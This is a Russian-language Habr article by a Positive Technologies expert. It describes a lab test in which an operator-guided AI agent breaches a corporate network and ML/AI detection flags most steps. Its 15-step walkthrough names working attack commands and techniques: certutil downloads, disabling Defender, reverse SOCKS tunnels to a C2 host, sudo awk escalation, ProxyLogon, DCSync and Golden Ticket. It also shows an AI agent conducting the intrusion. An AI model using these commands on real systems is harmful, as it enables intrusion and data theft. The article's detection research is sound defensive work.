У атакующего ИИ-агента была задача: добраться до документов топ-менеджера небольшой компании через ее корпоративную сеть. За несколько часов он по подсказкам оператора прошел путь от уязвимого плагина на веб-сервере через почтовый сервер и контроллер домена до хоста топ-менеджера и просмотрел там содержимое диска. По дороге он поднял три туннеля на захваченных серверах и дальше шел через них. На стороне защиты ему противостоял комплекс ML/AI-решений, который обнаружил 14 из 15 шагов этой атаки и обошелся без правил, написанных под конкретные инструменты.
Меня зовут Алексей Потапов, я ведущий эксперт направления продуктовой экспертизы в экспертном центре безопасности Positive Technologies (PT ESC). Выше я описал наш тест в лаборатории: RedTeam AI-агент, имитирующий действия злоумышленника, против нашего комплекса. В этой статье я расскажу, чем защищались, как шла атака и что видела защита на каждом из трех этапов. Это стоило нам примерно таких величин (для наглядности даже сделал рисунок):
Мы привыкли писать правила обнаружения под нечто известное: конкретный инструмент, технику, характерную строку в логе. Но атакующий ИИ-агент эту логику ломает: он сам выбирает инструменты и порядок шагов, поэтому к моменту, когда аналитик напишет правило под один инструмент, агент уже может использовать другой. К тому же аналитик не успевает обрабатывать поток алертов в темпе атакующего. Инструменты, имена файлов, порты и приемы обфускации — для атакующего агента всего лишь переменные, он меняет их на лету. Однако почти любое действие атакующего при продвижении в сети оставляет поведенческий след. Мы проверили, хватает ли этого следа для обнаружения, а комплекс ML/AI-решений при этом не настраивали под лабораторию.
Здесь можно посмотреть полный скринкаст атаки ИИ-агента и его обнаружения
Сразу оговорюсь: это один сценарий в одной лаборатории. В конце я скажу, чего такой результат не доказывает.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Ее цель — исключительно образовательная: рассказать о существующих уязвимостях и векторах атаки, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите. Автор не несет ответственности за неправомерное использование опубликованной информации.
Что стояло на стороне защиты
Чтобы заметить атаку в SIEM (система управления событиями ИБ), нужно решить две задачи. Событий слишком много: LLM сегодня не способна самостоятельно разбирать сырой поток событий SIEM, ей нужен префильтр, который сузит контекст до того, что действительно требует интерпретации. И не каждая аномалия является атакой: отклонение может объясняться администрированием, изменениями в инфраструктуре, редкими легитимными сценариями или особенностями конкретной системы, поэтому нужна классификация (рис. 1).
Первую задачу в нашей схеме решает MaxPatrol BAD (Behavioral Anomaly Detection) — модуль на базе ML в составе MaxPatrol SIEM. Он агрегирует, нормализует и отбирает аномалии: фиксирует отклонения от нормального поведения процессов и пользователей, каким бы инструментом они ни были вызваны. Такие отклонения называются индикаторами поведения (Indicator of Behavior, IoB).
Вторую задачу решает HackTracker — ML-классификатор поверх BAD (про HackTracker у меня этим летом выходила отдельная статья). На вход ему приходит не поток событий, а подготовленное BAD описание поведения: индикаторы и поведенческие признаки. Он выносит вердикт True, если поведение похоже на хакерское, или False, если на легитимное. Конкретных инструментов он не знает. Объяснения к вердикту у него нет намеренно: модель оптимизирована под точность классификации.
Объяснять вердикт помогают еще два компонента, так что всего в тесте участвовали четыре. PT Naira — ИИ-помощник в MaxPatrol SIEM: аналитик выбирает цепочку процессов, а Naira разбирает нормализованные события в ее рамках и сводит их в объяснение с вердиктом «подозрительно или нет». Он работает по запросу, то есть только когда аналитик сам пришел с вопросом.
AI-агент для MaxPatrol BAD — LLM-модель, которая получает сработки BAD вместе с нормализованными событиями, на которых они построены (командные строки, цепочки процессов, сетевые подключения, файловые операции, авторизации), и объясняет, что происходит и почему это похоже на атаку. AI-агент пока внутренний инструмент Positive Technologies: его внедряют в продукты, а в статье он показан как демонстрация возможностей.
Если упростить роли: HackTracker отвечает на вопрос «это хакер?» на уровне поведенческих признаков, AI-агент отвечает «это хакер, и вот почему» на уровне исходных событий, а Naira отвечает на любые уточняющие вопросы аналитика по уже зафиксированной активности.
Рис. 1. Воронка фильтрации: от событий к детекту
Что делал атакующий
Лаборатория была устроена как небольшая корпоративная сеть: веб-сервер с WordPress на периметре, почтовый сервер Microsoft Exchange (Windows Server 2019), контроллер домена (DC), сервер сертификации ADCS (Active Directory Certificate Services) и рабочие станции пользователей.
Цель атакующего — получить доступ к конфиденциальным документам топ-менеджмента. Для этого нужно проникнуть во внутреннюю сеть, получить привилегии уровня домена и добраться до рабочих станций руководителей, минуя периметровую защиту. Оператор давал атакующему агенту подсказки, а дальше он сам планировал шаги, запускал инструменты на Kali Linux (дистрибутив с набором средств для тестирования на проникновение) и продвигался по инфраструктуре. Атака заняла несколько часов.
Через всю атаку проходит один прием: атакующий агент превращает захваченные серверы в ретрансляторы и идет дальше через них. Для этого он использует утилиту, которая поднимает на хосте прокси (SOCKS5), и последующий трафик к следующим целям выходит в сеть с адреса этого хоста. Такая точка опоры называется пивотом (pivot). Пивотов в тесте три: веб-сервер, Exchange и контроллер домена (рис. 2).
Вход был через уязвимый плагин WordPress. Атакующий агент загрузил на сервер PHP-вебшелл. Дальше агент воспользовался ошибкой в настройке sudo: утилиту awk разрешено запускать без пароля, а через нее можно выполнить любую команду от root. От имени root он запустил популярный инструмент для туннелирования. Это Pivot #0, первая точка опоры в инфраструктуре.
Следующая цель — Exchange. Через туннель атакующий агент эксплуатировал цепочку уязвимостей ProxyLogon (CVE-2021-26855 + CVE-2021-27065) и записал вебшелл, ASPX eval-файл EMWdgv.aspx, в каталог аутентификации OWA. Команда whoami показала NT AUTHORITYSYSTEM, то есть права системы. Дальше агент провел разведку: посмотрел пользователей и группы, список Domain Admins, нашел контроллер домена: топология домена стала известна.
Затем атакующий агент попробовал отключить Windows Defender и скачал клиент штатной утилитой certutil. Она предназначена для работы с сертификатами, но умеет загружать файлы по URL, а штатные утилиты, использованные не по назначению, называют LOLBin. Файл агент переименовал в svchost32.exe, чтобы он выглядел как системный процесс. Клиент подключился к серверу управления атакующего (C2), и Exchange стал вторым пивотом (Pivot #1): весь последующий трафик атакующего к контроллеру домена и ADCS исходил с IP-адреса Exchange.
С Exchange атакующий агент пошел за доменом. Через ADCS он нашел шаблоны сертификатов, уязвимые к ESC1, то есть настроенные так, что сертификат можно запросить от имени другого пользователя, и запросил сертификат инструментом certipy. По такому сертификату проходит Kerberos-аутентификация (PKINIT), и агент получил TGT (билет Kerberos на получение других билетов) и NT-хеш учетной записи Administrator.
Дальше атакующий агент выполнил DCSync: так называют прием, при котором атакующий выдает себя за контроллер домена и запрашивает репликацию учетных данных. Инструмент secretsdump выгрузил полную базу хешей домена. Следом агент подделал Kerberos-билет Golden Ticket, с которым можно выступать от имени любого пользователя домена. Первая попытка, с хешем NTLM, не удалась (ошибка KDC_ERR_TGT_REVOKED), вторая, с ключом AES256, прошла, и агент аутентифицировался на контроллере домена.
Оставалось добраться до рабочих станций. Через SMB атакующий агент просмотрел сетевые ресурсы контроллера домена (ADMIN$, NETLOGON, SYSVOL), доставил на контроллер домена еще один клиент под именем svchost64.exe и запустил его удаленно через wmiexec, инструмент из набора impacket для удаленного выполнения команд. Контроллер домена стал третьим пивотом (Pivot #2). После этого агент прошел по шести рабочим станциям через общий ресурс C$. Цель теста была достигнута: агент выполнил горизонтальное перемещение (lateral movement) на хост топ-менеджера и просмотрел содержимое диска.
Рис. 2. Визуализация. Граф атаки и обнаружения«Все 15 шагов с командами»
Первоначальный доступ и закрепление
• Шаг 1. Загрузка PHP-вебшелла через уязвимый плагин на пограничном веб-сервере.
• Шаг 2. Privesc через sudo awk → system → запуск утилиты для туннелирования (SOCKS5-туннель, Pivot#0) от имени root. Первая точка опоры в инфраструктуре.
• Шаг 3. ProxyLogon (CVE-2021-26855 + CVE-2021-27065). Через SSRF + запись файла через обход пути атакующий записал ASPX eval-вебшелл (EMWdgv.aspx) в каталог аутентификации OWA.
Разведка и подготовка на Exchange
• Шаг 4. Post-exploitation recon: whoami (NT AUTHORITYSYSTEM), ipconfig, net user, net group «Domain Admins» /domain, nltest /dsgetdc: → обнаружен контроллер домена, топология домена установлена.
• Шаг 5. Попытка отключить Windows Defender: Set-MpPreference -DisableRealtimeMonitoring $true.
Туннелирование и продвижение
• Шаг 6. Загрузка .exe-файла через certutil -urlcache -split -f (LOLBin, T1105), переименован в svchost32.exe (T1036.005, маскировка под системный процесс).
• Шаг 7. svchost32.exe установил обратное подключение к C2 с параметром R:1086:socks. Exchange-сервер стал SOCKS5-прокси (Pivot #1). Весь последующий трафик атакующего к DC и ADCS исходит с IP-адреса Exchange.
• Шаг 8. ADCS: LDAP-разведка ESC1-уязвимых шаблонов сертификатов + certipy-запрос сертификата через SOCKS.
• Шаг 9. certipy auth PKINIT → TGT + NT hash Administrator.
• Шаг 10. secretsdump DCSync через DRSUAPI → полная база хешей домена (IPC$samr + IPC$svcctl).
• Шаг 11. Попытка Golden Ticket NTLM провалилась (KDC_ERR_TGT_REVOKED, PAC validation WS2016).
• Шаг 12. Golden Ticket AES256 → Administrator.ccache → успешная аутентификация на DC.
• Шаг 13. smbclient → ADMIN$, NETLOGON, SYSVOL.
• Шаг 14. SMB drop svchost64.exe → wmiexec → DC стал вторым SOCKS5-прокси (Pivot #2, порт :1087). Цепочка: wmiprvse.exe → cmd.exe → svchost64.exe.
• Шаг 15. Lateral movement по рабочим станциям: 6 хостов через C$.
Что увидела защита
Теперь то же самое глазами SIEM. Пройдем по тем же трем пивотам.
Пивот 0: WordPress
С версии MaxPatrol SIEM 28.0 в модуле MaxPatrol BAD есть полноценный профайлер для Unix-подобных систем. WordPress, как и большинство веб-серверов в корпоративных инфраструктурах, работает на Unix-подобной системе, и поведенческий анализ BAD на этом хосте идет так же, как на Windows-системах.
Код выполнялся от имени пользователя www-data: процесс apache2 порождал дочерние shell-сессии. В деревьях процессов зафиксирована цепочка действий атакующего агента: разведка (id, hostname, ip a, поиск файлов с SUID-битом через find / -perm -4000, чтение wp-config.php), следом идут проверка связности с C2 через ping и nc, загрузка инструмента командой wget в /tmp, повышение привилегий через sudo-мисконфигурацию и запуск SOCKS5-туннеля в фоне командой nohup /tmp/… _t server —port 7654 —socks5 (рис. 3).
Среди индикаторов поведения, которые BAD выделил в действиях атакующего, были shell, порожденный веб-процессом (apache2 → sh), команды разведки от имени веб-пользователя, загрузка исполняемого файла в /tmp, sudo-эскалация через интерпретатор и запуск нераспознанного бинаря с сетевыми флагами (рис. 4).
Рис. 3. Визуализация. Запуск туннеля на сервере WordPress
Рис. 4. Индикаторы поведения запуска туннеля на сервере WordPress
Индикаторы показывают, что и в какой последовательности отклонилось от нормы, но не отвечают на вопрос, легитимна ли эта активность: вывод о вредоносности аналитик делает сам. Здесь подключается PT Naira. Аналитик запросил у нее интерпретацию цепочки на WordPress-сервере, и Naira разобрала события под индикаторами BAD и описала картину целиком (рис. 5).
Рис. 5. ИИ-помощник PT. Объяснение активности туннеля на сервере WordPress
HackTracker в текущей версии работает только с событиями Windows-источников, поэтому на Unix-хостах вердикт выносит не он: обнаружение обеспечивают индикаторы поведения BAD и AI-агент, о котором пойдет речь ниже.
Пивот 1: Exchange
Точкой входа на Exchange стал пул приложений OWA: процесс w3wp.exe (MSExchangeOWAAppPool) породил дочерний powershell.exe с ключами -nop -w hidden -noni, то есть без профиля, в скрытом окне и без интерактивного режима. Это типичный признак выполнения кода через вебшелл. Дочерний PowerShell выполнил обфусцированную нагрузку: обошел AMSI (интерфейс, через который антивирус проверяет скрипты), отключил ScriptBlockLogging (журналирование выполняемых скриптов), распаковал и выполнил из памяти пейлоад в формате GZip/Base64. Затем attrib.exe -r снял атрибут «только чтение» с файла EMWdgv.aspx в каталоге Exchange ServerV15FrontEndHttpProxyowaauth, и вебшелл закрепился на сервере (рис. 6, 7).
BAD собрал набор индикаторов из такой последовательности:
w3wp.exe (IIS Exchange) → powershell.exe -nop -w hidden -noni → powershell.exe [обфусцированное отключение ScriptBlockLogging] → cmd.exe → attrib.exe -r ...owaauthEMWdgv.aspxКаждый элемент этой цепочки в отдельности может встречаться в легитимной активности, но вместе они складываются в хакерский паттерн.
Рис. 6. Индикаторы поведения MaxPatrol BAD. Пост-эксплуатация Exchange-сервера
Рис. 7. Индикаторы поведения MaxPatrol BAD. Снятие атрибута read-only с файла EMWdgv.aspx
После закрепления атакующий агент скачал клиент через certutil, и бинарь, переименованный в svchost32.exe, лег в C:WindowsTemp (рис. 8). Запуск туннеля BAD тоже зафиксировал: клиент стартовал с аргументами client c2:9003 R:1086:socks, то есть это обратный SOCKS5-туннель на C2, Pivot #1 (рис. 9), и основная активность с Exchange шла через него.
Рис. 8. Индикаторы поведения MaxPatrol BAD. Дроп туннеля на Exchange-сервер
Рис. 9. Индикаторы поведения MaxPatrol BAD. Активность туннеля на Exchange-сервере
Дальше вердикт выносит HackTracker. Он получил поведенческие признаки, сформированные атомарными ML-моделями BAD, и отнес их к хакерскому паттерну: True (рис. 10). На Exchange аналитик попросил Naira разобрать две цепочки подряд. Она разобрала каждую независимо, в рамках выбранного дерева процессов: в первой зафиксирована доставка туннеля, во второй его активное использование для постэксплуатации (рис. 11, 12).
Рис. 10. Срабатывание HackTracker на постэксплуатацию Exchange-сервера
Рис. 11. ИИ-помощник PT. Активность svchost32.exe: маскировка и постэксплуатация
Рис. 12. ИИ-помощник PT. Доставка туннеля
Пивот 2: контроллер домена
На контроллере домена атакующий агент использовал impacket wmiexec для удаленного выполнения команд. BAD зафиксировал цепочку wmiprvse.exe → cmd.exe /Q /c cmd /c … 1> \127.0.0.1ADMIN$__1778236658 2>&1. Перенаправление вывода в ADMIN$__ — характерный для wmiexec след. BAD не знает, что он означает: он видит в событии аномальное значение и фиксирует его. Следом запущен C:WindowsTempsvchost64.exe client C2:9004 R:1087:socks, то есть клиент в реверс-режиме под системным именем. Это Pivot #2 и горизонтальное перемещение по рабочим станциям: BAD отметил в том числе обращения к C$ на шести рабочих станциях (рис. 13, 14).
Рис. 13. Визуализация. Запуск туннеля на контроллере домена
Рис. 14. Срабатывание индикаторов поведения MaxPatrol BAD на пост-эксплуатацию контроллера домена
HackTracker вынес по дереву процессов на контроллере домена второй вердикт True: поведенческие признаки с DC тоже уложились в хакерский паттерн (рис. 15). Naira разобрала цепочку, выбранную аналитиком, от запуска туннеля до доступа к доменным ресурсам, вынесла вердикт и дала рекомендацию по реагированию (рис. 16).
Рис. 15. Срабатывание HackTracker на пост-эксплуатацию контроллера домена
Рис. 16. ИИ-помощник PT. Объяснение цепочки запуска туннеля на контроллере доменаЧто видно, когда логов с хоста-источника атаки нет
До сих пор речь шла о том, что видно на самих захваченных хостах. Но у атаки есть и сетевой след, и его видно, даже когда логи с хоста-источника атаки в SIEM не поступают. Так бывает нередко: события от объектов атаки в SIEM есть, а индикаторов поведения на хосте-источнике нет, потому что с него ничего не приходит. Начиная с версии MaxPatrol SIEM 28.0 в модуле MaxPatrol BAD есть возможность агрегировать сетевые аномалии по источнику атаки. В BAD работают атомарные ML-модели, которые обнаруживают аномальные авторизации на уровне ОС и прикладных систем. Новая функциональность по определенному алгоритму собирает все аномалии, которые порождает один источник, и BAD формирует на их основе отдельное сводное событие в MaxPatrol SIEM (рис. 18, 20).
Скомпрометированный хост можно выявить даже тогда, когда его собственных логов нет: детектирование строится на поведении, которое он вызывает у других узлов сети. Тем же алгоритмом выявляется и горизонтальное перемещение по инфраструктуре. В нашем тесте этот механизм сработал дважды. Детектирование сетевого этапа строилось на поведенческом анализе событий Windows Security Log.
Первый паттерн: Exchange как аномальный источник. После того как атакующий агент развернул на Exchange туннель svchost32.exe (рис. 9), весь его трафик к контроллеру домена и ADCS стал исходить с IP-адреса Exchange (рис. 17). Для контроллера домена это выглядело так: один источник генерирует нетипично высокий поток событий Windows с идентификаторами (EID) 4624 (успешный вход в систему) и 5145 (доступ к сетевому ресурсу). Среди признаков, которые зафиксировал BAD, были множественные аномальные сетевые входы в систему с одного источника, обращения к ADMIN$__ (след impacket wmiexec), обращения к IPC$samr и IPC$svcctl (DCSync и управление службами) и PKINIT-аутентификация после выдачи сертификата, то есть аномальный Kerberos AS-REQ.
Сам по себе трафик от Exchange к контроллеру домена нормален, серверы взаимодействуют. Но профиль поведения Exchange-сервера не предполагает таких объемов и таких маршрутов, и BAD зафиксировал отклонение от базовой линии отдельным событием в MaxPatrol SIEM (рис. 18).
Рис. 17. Визуализация. Pivot-граф Exchange-сервера
Рис. 18. Индикаторы поведения MaxPatrol BAD. Обнаружение пивота Exchange-сервера
Второй паттерн: контроллер домена как аномальный источник. Когда атакующий агент перебрался на контроллер домена и развернул там туннель svchost64.exe (Pivot #2, рис. 14), он использовал DC как точку для движения по рабочим станциям (рис. 19). DC начал генерировать поток EID 4624 и EID 5145 в сторону рабочих станций: зафиксированы обращения к сетевым ресурсам с IP-адреса DC (ADMIN$, C$users, SYSVOL, пользовательские каталоги). ML-модуль BAD отметил аномальные сетевые аутентификации и обращения к ресурсам по множеству целей, что не соответствует базовому профилю контроллера домена (рис. 20).
Рис. 19. Визуализация. Pivot-граф контроллера домена
Рис. 20. Индикаторы поведения MaxPatrol BAD. Обнаружение пивота контроллера доменаОт детекта к пониманию: AI-агент для MaxPatrol BAD
Сколько бы пользы ни давали HackTracker и Naira, между детектом и пониманием инцидента у них остается ручная работа. HackTracker выносит вердикт без объяснения причин. Naira объясняет, но только когда аналитик сам пришел с вопросом. В обоих случаях аналитику приходится анализировать связанные события, формулировать запрос в LLM, выдвигать гипотезу.
Этот пробел закрывает AI-агент для MaxPatrol BAD. Это тоже классификатор активности, но на другом уровне контекста. HackTracker видит агрегированные поведенческие признаки, а AI-агент получает нормализованные события, на которых индикаторы поведения построены. Поэтому он видит исходные детали активности (командные строки, цепочки процессов, сетевые подключения, файловые операции, авторизации) и может не просто пометить активность, а объяснить свой вердикт.
Ниже три примера, по одному на пивот. Во всех трех AI-агент получал индикаторы поведения BAD и контекст нормализованных событий вокруг них. Разбирал он их автономно, без запроса аналитика.
WordPress. AI-агент получил на анализ индикаторы, связанные с запуском туннеля на скомпрометированном сервере, и вместе с ними контекст: путь запуска исполняемого файла, параметры процесса, сетевое подключение, окружение выполнения. Активность он оценил как вероятную компрометацию с подготовкой туннеля. В выводе отмечены факторы риска: запуск инструмента из временной директории, параметры SOCKS5, открытие порта для туннелирования и подключение к внутреннему ресурсу, а также использование awk для выполнения команды с chmod и запуском из /tmp, что нетипично для легитимных сценариев (рис. 21).
Рис. 21. Обнаружение запуска туннеля на Unix-сервере AI-агентом для MaxPatrol BAD
Exchange. Здесь BAD зафиксировал цепочку w3wp.exe → powershell.exe → cmd.exe → attrib.exe (рис. 7). AI-агенту передали контекст нормализованных событий вокруг нее: запуск PowerShell из контекста IIS, параметры командной строки, действия с ASPX-вебшеллом, загрузку бинаря через certutil (рис. 8), путь размещения файла. По нему AI-агент оценил активность как постэксплуатацию Exchange, закрепление через вебшелл и превращение сервера во внутренний SOCKS5-прокси для дальнейшего продвижения по домену (рис. 22, 23).
Рис. 22. Обнаружение постэксплуатации Exchange-сервера AI-агентом
Рис. 23. Обнаружение дропа туннеля AI-агентом
На Exchange AI-агент получил еще и срабатывания по аномальному источнику (первый паттерн из предыдущего раздела) и детект потенциального горизонтального перемещения. Разобрал он их тоже сам. По событиям аутентификации и сетевого доступа AI-агент сформировал заключение: подтвержденная компрометация через SMB ADMIN/C с имплантацией (T1021.002, техника из матрицы MITRE ATT&CK, рис. 24).
Рис. 24. Обнаружение горизонтального перемещения с Exchange-сервера AI-агентом
Контроллер домена. Для AI-агента BAD зафиксировал удаленное выполнение команд через wmiprvse.exe и cmd.exe, запуск svchost64.exe (рис. 14), а также обращения к административным шарам и рабочим станциям (рис. 20). В контексте нормализованных событий были цепочка процессов, параметры удаленного выполнения, путь и имя запущенного файла, сетевые подключения, обращения к ADMIN,C, NETLOGON, SYSVOL и другим ресурсам.
Из этого AI-агент собрал картину: выполнение через impacket wmiexec, запуск еще одного SOCKS5-туннеля, использование DC как нового пивота и последующее горизонтальное перемещение по рабочим станциям (рис. 25). По срабатываниям на аномальный источник (второй паттерн) он выдал близкое заключение: горизонтальное перемещение через SMB-ресурсы ADMIN$ и C$ с имплантацией (T1021.002, рис. 26).
Рис. 25. Обнаружение активности туннеля на контроллере домена AI-агентом
Рис. 26. Обнаружение горизонтального перемещения с контроллера домена AI-агентом
Теперь можно сказать, зачем каждому слою свое место. BAD дает самое широкое покрытие хакерской активности, но интерпретация сработок требует времени аналитика: посмотреть индикаторы, оценить контекст, отделить нелегитимное от легитимного. HackTracker снимает часть этой нагрузки, но граница между хакерским и легитимным поведением не всегда однозначна: VPN-клиенты, игровые платформы и нестандартный корпоративный софт способны давать паттерны, неотличимые от хакерских. Вердикт приходится проверять, и время аналитика расходуется, просто в меньшем объеме.
Naira закрывает пробел на уровне интерпретации: по запросу специалиста она разбирает конкретную активность и формирует разбор, которого достаточно, чтобы подтвердить или опровергнуть вердикт HackTracker, без ручного перелистывания событий. AI-агент замыкает цепочку: он анализирует индикаторы и нормализованные события в реальном времени, классифицирует активность и формирует детект с готовым обоснованием, без участия человека. Для аналитика первой линии это будет значить: вместо алерта с вердиктом, который нужно раскручивать вручную, он получит готовое описание событий с контекстом, и ему останутся валидация и решение о реагировании.
Автономный SOC и MaxPatrol O2
На мой взгляд, автономный SOC станет возможным тогда, когда каждый его процесс будет закрыт автономными механизмами. Таких процессов как минимум шесть: детектирование, расследование, верификация, реагирование, работа с контентом (создание и обновление детектирующей логики) и сопровождение самой системы обнаружения (настройка, тюнинг, актуализация без ручного вмешательства).
В этой статье речь шла о двух из них. Детектирование — обнаружение хакерской активности без правил под конкретный инструмент или технику. Верификация — классификация активности как хакерской или легитимной. За расследование и реагирование отвечает MaxPatrol O2: он принимает обнаруженный инцидент, автономно расследует его, а для типовых сценариев запускает реагирование, например блокирует учетные записи и изолирует узлы. Граница с AI-агентом из нашего теста такая: AI-агент объясняет, почему данная сработка похожа на атаку, а O2 расследует инцидент целиком. Инциденты, обнаруженные связкой MaxPatrol BAD, HackTracker и AI-агента, могут передаваться в MaxPatrol O2.
Рис. 26. Воронка MLAI обнаружения Чего этот тест не доказывает
Это один сценарий в одной лаборатории, и действовал атакующий агент с подсказками оператора. Реальная атака не повторится в точности: меняются точки входа, инструменты, цепочки получения привилегий, темп и порядок шагов. Даже по заданной инструкции атакующий агент подстраивается под конкретную среду и каждый раз дает новую вариацию.
Один шаг из 15 остался необнаруженным: попытка Golden Ticket с хешем NTLM (шаг 11). Билет создается офлайн, без обращения к центру распределения ключей Kerberos (KDC), а события о неудачной попытке использовать его (ошибка KDC_ERR_TGT_REVOKED) BAD в своих алгоритмах не анализирует.
В этом тесте ложных срабатываний не было, но это одна лаборатория, а в промышленной эксплуатации они случаются. К этому добавляются два ограничения: HackTracker сейчас работает только с событиями Windows-источников, а AI-агент пока внутренний инструмент и в продукты еще не внедрен.
Против атакующего ИИ эффективно работает только защищающийся ИИ
AI-агент адаптируется под среду и каждый раз дает новую вариацию атаки — даже по одной и той же инструкции. Поэтому устойчивый ответ не в покрытии конкретных техник, а в обнаружении на уровне поведения: чем бы и в какой последовательности атакующий ни действовал, поведенческий след остаётся всегда.
Вывод
Такие атакующие агенты снижают порог входа: слабо квалифицированный преступник с доступом к такому инструменту может проводить сложные многоэтапные атаки. Я ожидаю, что операции, которые раньше требовали высокой экспертизы, станут массовыми, а число атак на машинной скорости будет кратно расти.
В нашем тесте BAD и HackTracker не знали про тулзу для туннелирования и impacket, про certipy и ProxyLogon. Они видели поведение, и этого хватило комплексу для обнаружения 14 шагов из 15, то есть около 93%. Ни одно из детектирований не потребовало правила под конкретный инструмент, ручной корреляции, сопровождения и тюнинга или участия аналитика в реальном времени. Против атакующего ИИ на этом сценарии сработал комплекс из ML-моделей, обученных классификаторов и LLM-агентов.
На мой взгляд, устойчиво работает обнаружение на уровне поведения, а не покрытие конкретных техник. Инструмент для туннелирования переименован в svchost32.exe, но все равно устанавливает соединение. Impacket не оставляет бинаря, но ADMIN$__timestamp в логах никуда не девается. BAD при этом не знает, что это за значение: он видит, что оно аномально, и так же увидел бы другое аномальное значение. DCSync требует обращений к DRSUAPI, и они будут видны независимо от того, каким инструментом их сгенерировали.
(Полный скринкаст атаки ИИ-агента и его обнаружения вы можете посмотреть в ролике на моей странице в соцсети)
Источник: habr.com